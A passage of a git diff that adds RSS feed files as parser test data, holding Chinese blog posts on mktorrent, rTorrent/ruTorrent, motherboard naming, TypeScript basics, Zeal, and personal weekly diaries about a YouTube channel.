--announce=&lt;url&gt;[,&lt;url&gt;]* : specify the full announce URLs + at least one is required + additional -a adds backup trackers +-c, --comment=&lt;comment&gt; : add a comment to the metainfo +-d, --no-date : don't write the creation date +-h, --help : show this help screen +-l, --piece-length=&lt;n&gt; : set the piece length to 2^n bytes, + default is 18, that is 2^18 = 256kb +-n, --name=&lt;name&gt; : set the name of the torrent + default is the basename of the target +-o, --output=&lt;filename&gt; : set the path and filename of the created file + default is &lt;name&gt;.torrent +-p, --private : set the private flag +-t, --threads=&lt;n&gt; : use &lt;n&gt; threads for calculating hashes + default is 2 +-v, --verbose : be verbose +-w, --web-seed=&lt;url&gt;[,&lt;url&gt;]* : add web seed URLs + additional -w adds more URLs + +Please send bug reports, patches, feature requests, praise and +general gossip about the program to: esmil@users.sourceforge.net +</code></pre></div></div> + +<p>举个例子:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mktorrent -v -p -d -c "Demo comments" -l 18 -a https://some.website/announce.php -o example.torrent path/to/dir_or_file +</code></pre></div></div> + +<p>解释这个命令的含义一个一个选项看即可:</p> + +<ul> + <li><code class="language-plaintext highlighter-rouge">-p</code> 标记 torrent 私有,不启用 DHT 和 Peer Exchange,如果不知道后面两个术语,可以参考我<a href="/post/2020/02/everything-related-about-bittorrent-and-pt.html">之前的文章</a></li> + <li><code class="language-plaintext highlighter-rouge">-d</code> 不写入创建时间</li> + <li><code class="language-plaintext highlighter-rouge">-c</code> 后接简短的描述信息</li> + <li><code class="language-plaintext highlighter-rouge">-l 18</code> 表示块大小,18 就是 2^18 bytes, 也就是 256kb 一块。如果不设置 -l 选项,默认也是 <code class="language-plaintext highlighter-rouge">-l 18</code></li> + <li><code class="language-plaintext highlighter-rouge">-a</code> 后接 announce URLs</li> + <li><code class="language-plaintext highlighter-rouge">-o</code> 后接输出的 torrent 文件</li> + <li>最后就是要制作的 torrent 的文件目录或者文件</li> +</ul> + +<h2 id="web-seed">web seed</h2> +<p>使用 mktorrent 还可以使用 <code class="language-plaintext highlighter-rouge">-w</code> 选项来添加 web seed URLs。</p> + +<blockquote> + <p>Web seeding was implemented in 2006 as the ability of BitTorrent clients to download torrent pieces from an HTTP source in addition to the swarm. The advantage of this feature is that a website may distribute a torrent for a particular file or batch of files and make those files available for download from that same web server; this can simplify long-term seeding and load balancing through the use of existing, cheap, web hosting setups. In theory, this would make using BitTorrent almost as easy for a web publisher as creating a direct HTTP download. In addition, it would allow the “web seed” to be disabled if the swarm becomes too popular while still allowing the file to be readily available.</p> +</blockquote> + +<p>简而言之就是 Web seed 可以让 torrent 从 HTTP 来源来发布文件。</p> + +<h2 id="reference">reference</h2> + +<ul> + <li><a href="https://github.com/Rudde/mktorrent">https://github.com/Rudde/mktorrent</a></li> + <li><a href="https://bytesized-hosting.com/pages/how-to-create-a-torrent-using-mktorrent">https://bytesized-hosting.com/pages/how-to-create-a-torrent-using-mktorrent</a></li> +</ul> + + https://einverne.github.io/post/2020/03/make-torrent-from-command-line.html + https://einverne.github.io/post/2020/03/make-torrent-from-command-line + Thu, 19 Mar 2020 00:00:00 +0000 + + + + rTorrent 和 ruTorrent 使用 + <p>就和之前文章写的<a href="/post/2018/04/bittorrent-client.html">那样</a> , rTorrent 是一个 C++ 编写的 BitTorrent 客户端,ruTorrent 是它的其中一个 Web 界面,其他的还有 Flood 等等。</p> + +<p>这篇文章就主要总结一下 rTorrent 和 ruTorrent 的使用和一些我使用的主题和插件。</p> + +<h2 id="docker">Docker</h2> + +<p>linuxserver 提供的 <a href="https://hub.docker.com/r/linuxserver/rutorrent/">ruTorrent</a> 很好用的。</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker pull linuxserver/rutorrent +</code></pre></div></div> + +<p>如果想在该镜像的基础上增加 MaterialDesign 主题可以:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo docker exec -it rutorrent /bin/sh +cd /app/rutorrent/plugins/theme/themes/ +git clone git://github.com/phlooo/ruTorrent-MaterialDesign.git MaterialDesign +chown -R abc:users MaterialDesign +</code></pre></div></div> + +<p>最近有时间的话给 <a href="https://github.com/linuxserver/docker-rutorrent/issues/152">linuxserver</a> 提一个 PR,先把 issue <a href="https://github.com/linuxserver/docker-rutorrent/issues/152">提了</a></p> + +<h2 id="rutorrent-themes">ruTorrent themes</h2> + +<p>MaterialDesign 是当时用 QNAP 上 <a href="https://forum.qnap.net.pl/download/rtorrent-pro-x86_64.17/">rtorrent-Pro</a> 的<a href="https://forum.qnap.net.pl/gallery/photos/rtorrent-pro_ux_ui_rutorrent.4094/">默认主题</a>,配色非常舒服就一直用着了。</p> + +<p>MaterialDesign</p> + +<ul> + <li><a href="https://github.com/themightykitten/ruTorrent-MaterialDesign">https://github.com/themightykitten/ruTorrent-MaterialDesign</a></li> +</ul> + +<p><img src="/assets/rutorrent-material-design-web-ui.png" alt="ruTorrent Web UI Material Design" /></p> + +<p><img src="/assets/rutorrent-material-design-web-ui-settings.png" alt="ruTorrent Web UI Material Design Settings" /> +如果还选择其他的主题可以看看这个<a href="https://github.com/artyuum/3rd-party-ruTorrent-Themes">合集</a></p> + +<h2 id="plugins">Plugins</h2> + +<h3 id="file-manager">File Manager</h3> +<p>ruTorrent 还有一些很好用的第三插件,比如 File Manager,可以直接在网页中对文件进行复制,移动,压缩,重命名等。</p> + +<ul> + <li><a href="https://github.com/nelu/rutorrent-thirdparty-plugins">https://github.com/nelu/rutorrent-thirdparty-plugins</a></li> +</ul> + +<h2 id="对-linuxserver-rutorrent-的修改">对 linuxserver rutorrent 的修改</h2> + +<p>LinuxServer 的 ruTorrent 镜像提供了最基本的 rtorrent 和 ruTorrent 功能,能用,但是不合心意。本来是提了 issue 和 PR 想把 MaterialDesign 主题提交进去的,后来发现 LinuxServer 本来的目的也并不是大二全,而成提供基础,任何人想要个性化或者扩展功能都可以以他们提供的镜像作为基础来扩展。<sup id="fnref:ref"><a href="#fn:ref" class="footnote">1</a></sup></p> + +<p>所以我想的是在 LinuxServer 提供的 <a href="https://github.com/linuxserver/docker-rutorrent/">rutorrent</a> 镜像基础上把我常用的功能给集成进去。</p> + +<h3 id="materialdesign-主题">MaterialDesign 主题</h3> + +<h3 id="autodl-irssi">autodl-irssi</h3> + +<h3 id="filemanager">filemanager</h3> + +<h3 id="fileshare">fileshare</h3> + +<h3 id="rutorrentmobile">rutorrentMobile</h3> +<p>适配移动界面:</p> + +<ul> + <li><a href="https://github.com/xombiemp/rutorrentMobile">https://github.com/xombiemp/rutorrentMobile</a></li> +</ul> +<div class="footnotes"> + <ol> + <li id="fn:ref"> + <p><a href="https://raw.githubusercontent.com/linuxserver/docker-rutorrent/master/.github/PULL_REQUEST_TEMPLATE.md">https://raw.githubusercontent.com/linuxserver/docker-rutorrent/master/.github/PULL_REQUEST_TEMPLATE.md</a> <a href="#fnref:ref" class="reversefootnote">&#8617;</a></p> + </li> + </ol> +</div> + + https://einverne.github.io/post/2020/03/rtorrent-and-rutorrent.html + https://einverne.github.io/post/2020/03/rtorrent-and-rutorrent + Mon, 16 Mar 2020 00:00:00 +0000 + + + + 常见主板命名规则 + <p>最近因为想要组装 NAS,所以简单的了解了一下主板的命名规则。这里将总结一下。</p> + +<p>多数厂家遵循一般的规律:</p> + +<ul> + <li>处理器类型</li> + <li>芯片组</li> + <li>芯片类型</li> + <li>基本后缀</li> +</ul> + +<p>芯片组名字由芯片厂商决定,AMD 在发布锐龙后抢了英特尔的命名方式,从低到高端 A320, B350,X370。后来 Intel 推出八代 CPU,只能使用 H310, B360, Z370 方式命名。</p> + +<p>芯片的命名也有一定的规律,H 主打低价,B 中档,Z 和 X 系列是高端芯片。Intel 的芯片中如果带 K 的表示能超频,比如 i5-8600K. Z 系列一般可以超频。</p> + +<p>芯片组数字 2XX 的支持 7 代 CPU,数字 3XX 支持 8 代 CPU,比如 B360 支持 i3-8100, i5-8500 等等。</p> + +<h2 id="华擎">华擎</h2> + +<p>常见的型号比如:</p> + +<ul> + <li>A320M-HDV</li> + <li>H310M-HDV</li> + <li>H310CM</li> + <li>B365M-HDV</li> + <li>B365M-ITX</li> + <li>B365M Phantom Gaming</li> + <li>B365M Pro</li> + <li>B450</li> +</ul> + +<p>其中 H310M, B356, B450 这些都是芯片组规格,这个名字是由 Intel 来约定的。所以能看到不同厂家会对 H310,或者 B450 都有类似的板子。</p> + +<p>比如英特尔八代处理器对应的 B 系列主板是 B360,</p> + +<p>后缀规则:</p> + +<table> + <thead> + <tr> + <th>后缀</th> + <th>说明</th> + </tr> + </thead> + <tbody> + <tr> + <td>HDV</td> + <td>HDMI+DIV+VGA</td> + </tr> + <tr> + <td>ITX</td> + <td>小规格主板 17*17cm</td> + </tr> + <tr> + <td>ITX/ac</td> + <td>附带 ac 规格无线网卡 ITX 主板</td> + </tr> + </tbody> +</table> + +<h3 id="产品系列">产品系列</h3> +<p>华擎 PRO 系列主打性价比,主流型号。</p> + +<p>Steel Legend 系列,独立产品线,主打外观及个性化。比如 B450 Steel Legend.</p> + +<p>Extreme 中高端电竞,一般后加数字,数字越大越强。</p> + +<p>Taichi 定位高端的产品线。</p> + +<p>Phantom Gaming 主打家用和电竞。</p> + +<h2 id="asus">华硕</h2> + +<p>列举一下京东上华硕主板的例子:</p> + +<ul> + <li>H310M-A</li> + <li>B365M-PLUS</li> + <li>B360-PLUS</li> + <li>B450M-PLUS</li> +</ul> + +<p>说明:</p> + +<ul> + <li>A、P、PLUS、AR、K、PRIME 系列是华硕的低端入门型号</li> + <li>TUF 特种部队 STRIX 猛禽 中端型号</li> + <li>ROG EXTREME WS 工作站 高端型号</li> +</ul> + + + https://einverne.github.io/post/2020/03/motherboard-name-rule.html + https://einverne.github.io/post/2020/03/motherboard-name-rule + Sun, 08 Mar 2020 00:00:00 +0000 + + + + 命令行的艺术 + <p>这些年陆陆续续学习,整理了一些<a href="/categories.html#%E6%AF%8F%E5%A4%A9%E5%AD%A6%E4%B9%A0%E4%B8%80%E4%B8%AA%E5%91%BD%E4%BB%A4">命令</a>,其中也学到了不少,渐渐的才体会到用一行命令带来的效率。于是乎我几乎所有的设备都可以用 SSH 访问,少则有 BusyBox 这些精简的 Unix 工具集,多则就是完整的 Unix 工具集。不说桌面版的 Linux 系统,Android 上可以用 <a href="/post/2019/06/termux-app.html">Termux</a>, 路由器上 <a href="/post/2017/03/openwrt-settings-and-tips.html">OpenWrt</a> 自身就带了一些基本的命令,而 NAS 上也可以选择 OpenMediaVault 或者在<a href="/post/2018/04/qnap-ts453bmini.html">威联通</a> 上开启 SSH 登录,进入命令行的世界。</p> + +<p>以前需要借助 GUI 才能实现的功能后来发现原来命令行是如此简单,比如设备间互联一个 SSH 就能搞定,要传输文件再多一个 scp,或者需要增量备份可以用 rsync,或者如果要找重复的文件,jdupes, rdfind 一系列的命令可以选择,更不用说测网速,测磁盘读写等等了。</p> + +<h2 id="the-art-lf-command-line">The Art lf Command Line</h2> + +<p>整体性对常见的命令做一些了解,可以参考这个项目:</p> + +<ul> + <li><a href="https://github.com/jlevy/the-art-of-command-line/blob/master/README-zh.md">https://github.com/jlevy/the-art-of-command-line/blob/master/README-zh.md</a></li> +</ul> + +<p>我之前的文章都是临时想要用到某个功能现查的,浪费了我很多时间,如果早一点看到这一份文档的话就可以省去好多检索的时间。</p> + +<h2 id="规划">规划</h2> + +<p>以后命令总结应该不会再更新了,简单的命令我会提交给 <a href="https://github.com/tldr-pages/tldr">tldr</a>,除非是特别复杂的,有特别多选项的命令,否则就不展开了。</p> + +<p>如果以后还会有命令行相关的内容,可能会有这样几类:</p> + +<ul> + <li>像 tmux, sed, awk 这些命令几乎可以用一本书来学习,可能会有一些常用的笔记</li> + <li>命令行合集,比如要实现某个功能有哪些实现方式,比如<a href="/post/2019/12/find-and-delete-duplicate-files.html">查找重复的文件</a>,比如查看网速等等</li> +</ul> + +<h2 id="tldr">tldr</h2> +<p>就像上文所说,简单命令的文章就不再写了,下面就记录下提交到 tldr 的 Pull Request:</p> + +<ul> + <li><a href="https://github.com/tldr-pages/tldr/pull/3529">pidstat</a></li> + <li><a href="https://github.com/tldr-pages/tldr/pull/3694">stress</a></li> + <li><a href="https://github.com/tldr-pages/tldr/pull/3743">pwdx</a></li> + <li><a href="https://github.com/tldr-pages/tldr/pull/3857">jdupes</a></li> + <li><a href="https://github.com/tldr-pages/tldr/pull/3890">vmstat</a></li> + <li><a href="https://github.com/tldr-pages/tldr/pull/3916">transmission-create</a></li> +</ul> + +<p>更多可以在<a href="https://github.com/tldr-pages/tldr/pulls?q=is%3Apr+author%3Aeinverne">这里</a> 看到。</p> + + https://einverne.github.io/post/2020/03/the-art-of-command-line.html + https://einverne.github.io/post/2020/03/the-art-of-command-line + Wed, 04 Mar 2020 00:00:00 +0000 + + + + Zeal 离线文档阅读 + <p>之前也总结过一篇<a href="/post/2016/10/document-browser-comparison.html">文章</a>,对比了 Zeal 和 Mac 下的 Dash,不过这么长时间过来,已经熟悉了 Zeal,所以再总结一下 Zeal 的使用技巧。</p> + +<h2 id="指定文档搜索">指定文档搜索</h2> +<p>Zeal 最常用的方式就是直接搜索方法名或者类名,但是有的时候本地的文档太多,就会出现很多结果,不同语言,不同内容混在一起。所以在 Zeal 搜索框中可以使用前缀来缩小搜索范围。比如想要搜索 <code class="language-plaintext highlighter-rouge">java8</code> 中的 <code class="language-plaintext highlighter-rouge">ConcurrentMap</code> 那么就可以输入:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>java8: ConcurrentMap +</code></pre></div></div> + +<h2 id="自定义-docset-路径">自定义 Docset 路径</h2> +<p>默认情况下 Zeal 会使用 <code class="language-plaintext highlighter-rouge">~/.local/share/Zeal/Zeal/docsets</code> 作为 Docset 默认路径,这个路径在 <code class="language-plaintext highlighter-rouge">~/.config/Zeal/Zeal.conf</code> 配置文件中。</p> + +<ul> + <li>可以手动修改上述配置文件</li> + <li>或者在界面中 General 中配置</li> +</ul> + +<h2 id="user-generate">User generate</h2> +<p>用户贡献的 documents.</p> + +<ul> + <li><a href="https://zealusercontributions.herokuapp.com/">https://zealusercontributions.herokuapp.com/</a></li> +</ul> + +<h2 id="reference">reference</h2> + +<ul> + <li><a href="https://zealdocs.org/">https://zealdocs.org/</a></li> +</ul> + + https://einverne.github.io/post/2020/03/zeal-offline-document-browser.html + https://einverne.github.io/post/2020/03/zeal-offline-document-browser + Tue, 03 Mar 2020 00:00:00 +0000 + + + + typescript 初识 + <p>最近浏览 GitHub 发现一个有趣的<a href="https://github.com/ronggang/PT-Plugin-Plus/">项目 PT Plugin Plus</a> 代码拉下来发现是 ts 语言写的,就顺便了解一下。<sup id="fnref:ts"><a href="#fn:ts" class="footnote">1</a></sup> 目标很简单,不是为了写 ts 项目,只是为了能看懂项目。</p> + +<h2 id="ts-in-5-minutes">ts in 5 minutes</h2> + +<h3 id="强类型">强类型</h3> +<p>Js 中原来变量是没有类型的,只有运行时赋值了才决定变量的类型,但是 ts 在方法定义的时候可以给参数加上类型校验</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>function greeter(person: string) { + return "Hello, " + person; +} +</code></pre></div></div> + +<p>一旦类型不匹配则在编译时就会报错。</p> + +<h3 id="interfaces">Interfaces</h3> +<p>可以使用 interface 来定义对象</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>interface Person { + firstName: string; + lastName: string; +} +</code></pre></div></div> + +<h3 id="classes">Classes</h3> +<p>ts 支持基于类的面向对象编程,classes 和 interfaces 可以协同工作,</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>class Student { + fullName: string; + constructor(public firstName: string, public middleInitial: string, public lastName: string) { + this.fullName = firstName + " " + middleInitial + " " + lastName; + } +} + +interface Person { + firstName: string; + lastName: string; +} + +function greeter(person: Person) { + return "Hello, " + person.firstName + " " + person.lastName; +} + +let user = new Student("Jane", "M.", "User"); + +document.body.textContent = greeter(user); +</code></pre></div></div> + +<h2 id="handbook">handbook</h2> + +<h3 id="类型">类型</h3> +<p>ts 支持 js 的类型,number, string, structure, boolean 等等,不过 ts 增加了枚举类型。</p> + +<h4 id="boolean">Boolean</h4> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>let isDone: boolean = false; +</code></pre></div></div> + +<h4 id="number">Number</h4> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>let decimal: number = 6; +let hex: number = 0xf00d; +let binary: number = 0b1010; +let octal: number = 0o744; +</code></pre></div></div> + +<h4 id="string">String</h4> +<p>文本是任何一门语言都避免不了的,和 js 一样可以使用双引号和单引号。</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>let color: string = "blue"; +color = 'red'; +</code></pre></div></div> + +<p>也可以使用 template strings, 使用反引号 (`) 来框住长文本。</p> + +<h4 id="array">Array</h4> +<p>直接声明:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>let list: number[] = [1, 2, 3]; +</code></pre></div></div> + +<p>或者使用 Array:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>let list: Array&lt;number&gt; = [1, 2, 3]; +</code></pre></div></div> + +<h4 id="tuple">Tuple</h4> +<p>元组,用来表达固定长度数组,其他元素不一定类型相同。</p> + +<p>定义:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>let x: [string, number]; +</code></pre></div></div> + +<p>初始化:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>x = ["abc", 123]; +</code></pre></div></div> + +<h4 id="enum">Enum</h4> +<p>枚举类型是 ts 新增加的,用来扩展 number 表达的含义。</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>enum Color {RED, GREEN, BLUE} +let c: Color = Color.RED; +</code></pre></div></div> + +<p>枚举类型默认从 0 开始,可以手动指定。</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>enum Color { RED=1, GREEN, BLUE} +enum Color { RED=1, GREEN=2, BLUE=4} +</code></pre></div></div> + +<h4 id="any">Any</h4> +<p><code class="language-plaintext highlighter-rouge">any</code> 类型可以使得开发者可以自行选择使用类型检查,或者不使用。</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>let notSure: any = 4; +notSure = "maybe a string instead"; +notSure = false; // okay, definitely a boolean +</code></pre></div></div> + +<h4 id="void">Void</h4> +<p><code class="language-plaintext highlighter-rouge">void</code> 像是 <code class="language-plaintext highlighter-rouge">any</code> 类型的反面,<code class="language-plaintext highlighter-rouge">void</code> 经常被用来作为方法的 void 返回。</p> + +<h4 id="null-and-undefined">Null and Undefined</h4> +<p>在 ts 中,undefined 和 null 都有各自的类型,和 void 一样,null 和 undefined 一般都不自己使用。默认 null 和 undefined 是其他类型的子类型,这意味着可以将 null 和 undefined 赋值给 number.</p> + +<h4 id="never">Never</h4> +<p><code class="language-plaintext highlighter-rouge">never</code> 类型表示类型的值永远不会发生。</p> + +<h4 id="object">Object</h4> +<p>非原始类型,不是 number, string, boolean, bigint, symbol, null 或者 undefined.</p> + +<h4 id="type-assertions">Type assertions</h4> +<p>尖括号语法:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>let someValue: any = "this is a string"; +let strLength: number = (&lt;string&gt;someValue).length; +</code></pre></div></div> + +<p>as 语法:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>let someValue: any = "this is a string"; +let strLength: number = (someValue as string).length; +</code></pre></div></div> + +<h2 id="reference">reference</h2> + +<ul> + <li><a href="https://www.typescriptlang.org/docs/handbook/basic-types.html">https://www.typescriptlang.org/docs/handbook/basic-types.html</a></li> +</ul> + +<div class="footnotes"> + <ol> + <li id="fn:ts"> + <p><a href="https://www.typescriptlang.org/docs/handbook/typescript-in-5-minutes.html">https://www.typescriptlang.org/docs/handbook/typescript-in-5-minutes.html</a> <a href="#fnref:ts" class="reversefootnote">&#8617;</a></p> + </li> + </ol> +</div> + + https://einverne.github.io/post/2020/03/typescript-lang.html + https://einverne.github.io/post/2020/03/typescript-lang + Tue, 03 Mar 2020 00:00:00 +0000 + + + + + diff --git a/tests/feedlib/testdata/parser/warn/https-guozh-net-feed.xml b/tests/feedlib/testdata/parser/warn/https-guozh-net-feed.xml new file mode 100644 index 0000000..4173801 --- /dev/null +++ b/tests/feedlib/testdata/parser/warn/https-guozh-net-feed.xml @@ -0,0 +1,489 @@ + + + + 老郭种树 + + https://guozh.net + Stay hungry. Stay foolish. + Mon, 06 Apr 2020 09:34:40 +0000 + zh-CN + + hourly + + 1 + https://wordpress.org/?v=5.2.5 + + YouTube 视频展示点击率低,频道优化实测 + https://guozh.net/optimization-youtube-video-47-44-43-32/ + https://guozh.net/optimization-youtube-video-47-44-43-32/#respond + Mon, 06 Apr 2020 09:34:40 +0000 + + + + + + + https://guozh.net/?p=1478 + 查询 YouTube 油管频道展示点击率低时,找到几个奇怪的视频,特征都是展示点击率极低,但是观众黏度(播放完成度)不错,暂时认为这是封面图或标题不佳导致,所以准备尝试优化封面图或标题,记录在此,观察一段时间,看看是否有效。 1、 2、 3、 4、 看看两周后,数据变化情况,是否有效。

    +

    YouTube 视频展示点击率低,频道优化实测最先出现在老郭种树

    +]]>
    + 查询 YouTube 油管频道展示点击率低时,找到几个奇怪的视频,特征都是展示点击率极低,但是观众黏度(播放完成度)不错,暂时认为这是封面图或标题不佳导致,所以准备尝试优化封面图或标题,记录在此,观察一段时间,看看是否有效。

    +

    1、

    +

    《YouTube 视频展示点击率低,频道优化实测》

    +

    《YouTube 视频展示点击率低,频道优化实测》

    +

    2、

    +

    《YouTube 视频展示点击率低,频道优化实测》

    +

    《YouTube 视频展示点击率低,频道优化实测》

    +

    3、

    +

    《YouTube 视频展示点击率低,频道优化实测》

    +

    《YouTube 视频展示点击率低,频道优化实测》

    +

    4、

    +

    《YouTube 视频展示点击率低,频道优化实测》

    +

    《YouTube 视频展示点击率低,频道优化实测》

    +

    看看两周后,数据变化情况,是否有效。

    +

    YouTube 视频展示点击率低,频道优化实测最先出现在老郭种树

    +]]>
    + https://guozh.net/optimization-youtube-video-47-44-43-32/feed/ + 0 +
    + + 【周记、复盘、计划】2020-04-05 幸福烦恼、广告费收入下降、知乎测试 + https://guozh.net/weekly-record-plan-04-05/ + https://guozh.net/weekly-record-plan-04-05/#comments + Sun, 05 Apr 2020 12:30:12 +0000 + + + + + + + https://guozh.net/?p=1469 + 周记 1、这段时间来,从来没有这周忙,工作上事情压力较大,甚至有一个晚上因为这失眠。同事和我私下里聊天,也和我吐槽他自己 “实在太忙,事情做不完”。我和他开玩笑的说,可能忙才会给自己安全感吧。 老实话也是这样的,现在这行情,小公司倒闭几乎是常态,优化裁员更不用说。有工作可能是一个幸福的烦恼。这次疫情对全球经济的影响有多严重,现在可能只是第……

    +

    【周记、复盘、计划】2020-04-05 幸福烦恼、广告费收入下降、知乎测试最先出现在老郭种树

    +]]>
    + 周记 +

    1、这段时间来,从来没有这周忙,工作上事情压力较大,甚至有一个晚上因为这失眠。同事和我私下里聊天,也和我吐槽他自己 “实在太忙,事情做不完”。我和他开玩笑的说,可能忙才会给自己安全感吧。

    +

    老实话也是这样的,现在这行情,小公司倒闭几乎是常态,优化裁员更不用说。有工作可能是一个幸福的烦恼。这次疫情对全球经济的影响有多严重,现在可能只是第一波,因为中国相对来说好点,等其他国家的情况慢慢恶劣发酵,接连影响到我们,那时候才是真正的至暗时刻

    +

    2、比较有意思,最近看到一个说法,因为疫情,油管广告费据说也会慢慢下降,频道主的收入肯定会下降。

    +

    像我这种频道以广告收入为主的肯定比较危险,但其实我一点都不担心。这种经济下行,只是经济周期中的一段。现在频道慢慢积累,就算暂时收入低点,等到复苏,视频还在那,该有的肯定还会有,甚至可能因为厚积薄发,感觉数据会给我一个惊喜。再者,现在全球经济都不好,能做的也只能等待和准备,担心也并没卵用。

    +

    3、最终决定注册使用 PingPong ,短时间内肯定没法去香港了,略为遗憾,就差最后一步,所有一切都完美了。

    +

    4、上周提到做一个视频和调整字幕风格已经完成,这个视频抱有较大期望,但是播放数据。。再等等看吧。

    +

    5、我在 油管半月谈 做视频 210 天后的复盘和总结 提到,做好知乎账号的运营。每天认真回答一个问题,但这周确实略为忙,其实并没做到。然后回答过程中,不知道啥情况,总是触发发审核。

    +

    《【周记、复盘、计划】2020-04-05 幸福烦恼、广告费收入下降、知乎测试》

    +

    但有惊无险,可能回答内容比较真诚,最后都审核通过。

    +

    顺便这里做个小实验,看看一周七天从知乎去我频道的流量,会不会随着我回答数增加,有明显的增长,下图是过去七天的数据。

    +

    《【周记、复盘、计划】2020-04-05 幸福烦恼、广告费收入下降、知乎测试》

    +

    6、下雨,只跑步一次,而且只有三公里。

    +

    7、今天和同事去吃了正宗早茶,好像来深圳将近三年第一次去吃,以前都是比较山寨的小店,果然口味相差挺大,有点遗憾,没吃到最喜欢的牛肉粥。

    +

    计划

    +

    1、看要不要录个小视频的自我介绍,就这样吧,回答问题不能停。

    +

    【周记、复盘、计划】2020-04-05 幸福烦恼、广告费收入下降、知乎测试最先出现在老郭种树

    +]]>
    + https://guozh.net/weekly-record-plan-04-05/feed/ + 3 +
    + + java.net.ConnectException: localhost/127.0.0.1:**** - Connection refused + https://guozh.net/java-net-connectexception-localhost-127-0-0-1-connection-refused/ + https://guozh.net/java-net-connectexception-localhost-127-0-0-1-connection-refused/#respond + Wed, 01 Apr 2020 02:30:52 +0000 + + + + https://guozh.net/?p=1465 + 临时所记,无图无排版 在模拟器中调用本机地址时,竟然不能用 localhost 或者 127.0.0.1 ,调试了半天,在 postman 上总能成功,虚拟机上也不行,网上搜索才了解到,在模拟器中不能使用这个地址,得用 10.0.2.2 https://stackoverflow.com/questions/5495534/java-ne……

    +

    java.net.ConnectException: localhost/127.0.0.1:**** - Connection refused最先出现在老郭种树

    +]]>
    + 临时所记,无图无排版

    +

    在模拟器中调用本机地址时,竟然不能用 localhost 或者 127.0.0.1 ,调试了半天,在 postman 上总能成功,虚拟机上也不行,网上搜索才了解到,在模拟器中不能使用这个地址,得用 10.0.2.2

    +

    https://stackoverflow.com/questions/5495534/java-net-connectexception-localhost-127-0-0-18080-connection-refused/5495789

    +

    java.net.ConnectException: localhost/127.0.0.1:**** - Connection refused最先出现在老郭种树

    +]]>
    + https://guozh.net/java-net-connectexception-localhost-127-0-0-1-connection-refused/feed/ + 0 +
    + + 【周记、复盘、计划】2020-03-30 借钱、回形针 + https://guozh.net/weekly-record-plan-03-30/ + https://guozh.net/weekly-record-plan-03-30/#comments + Mon, 30 Mar 2020 13:43:10 +0000 + + + + https://guozh.net/?p=1463 + 昨晚吃饭溜达回来太晚,上午的 油管半月谈 做视频 210 天后的复盘和总结 花费一定精力,所以很早就睡了,拖到今天才写。 周记 1、众路大佬 2019 年末预测 2020 年时,心里预期是【比较难,经济下行】。但开年「黑天鹅」导致现在各行业,如履薄冰。这周有两个人向我借钱,一位朋友身份是研三的学生,另一位是我堂哥,身份是元器件销售。其实我……

    +

    【周记、复盘、计划】2020-03-30 借钱、回形针最先出现在老郭种树

    +]]>
    + 昨晚吃饭溜达回来太晚,上午的 油管半月谈 做视频 210 天后的复盘和总结 花费一定精力,所以很早就睡了,拖到今天才写。

    +

    周记

    +

    1、众路大佬 2019 年末预测 2020 年时,心里预期是【比较难,经济下行】。但开年「黑天鹅」导致现在各行业,如履薄冰。这周有两个人向我借钱,一位朋友身份是研三的学生,另一位是我堂哥,身份是元器件销售。其实我不太喜欢向别人借钱,也不喜欢借钱给他人。但不喜欢归不喜欢,无奈的事情总会发生,特别是当前这种情况。

    +

    2、这周逛知乎才发现,iPhone 竟然发布了新手机 iPhone9,而且是我最喜欢的小尺寸 4.7 寸手机,配置 A13,售价 3000 多,这性价比,妥妥的。

    +

    这是要革了低端机的命,还是良心发现,终于照顾到我们这些独爱 4.7 寸的「奇葩人士」。我对手机的要求不高,不玩游戏、不看剧、也不拍照,但唯一要求不能太大,不然不方便拿(手比较小)。

    +

    我现在这手机还是 6s,用了将近 4 年,个人不太满意就是电池,今年年初手动换了块电池,感觉还能再战一两年。本来还很愁,很担心过两年 iPhone8 是不是也要停厂。结果就给我这个惊喜。

    +

    3、回形针「暴雷」了,不知道怎么说这事,只能个人猜测:有双标的事实,没有双标的心。这件事要是没其他人恶意搞事情,我不太相信,但动机是什么,有点想不通。老实说,有几个人经得起查。

    +

    4、这周应该差不过可以跑步,其实上周就可以,但公园里还是有些人戴口罩,所以放缓一周。这周应该差不多,公园本身比较空旷,其实不戴口罩也还好。

    +

    5、虽然一直想将博客一些文章同步到公众号,因为博客确实不方便互动,最近博客留言也挺多,但都没下定决心。

    +

    首先是麻烦,其次总觉得这么做会将公众号搞的太杂。但这周浏览帖子时了解到,池大(池建强)公众号竟然更新文章 1600 篇(7年),惊为天人,所以也就懒得纠结。

    +

    以后应该会将博客中其中两三个分类的文章同步到公众号,主要是「三省吾身」、「up up up」。

    +

    6、油管频道的复盘总结完成。

    +

    计划

    +

    1、开始跑步?

    +

    2、做一个视频,调整字幕风格?

    +

    3、使用 pingpong。

    +

    以上都不敢肯定。

    +

    【周记、复盘、计划】2020-03-30 借钱、回形针最先出现在老郭种树

    +]]>
    + https://guozh.net/weekly-record-plan-03-30/feed/ + 2 +
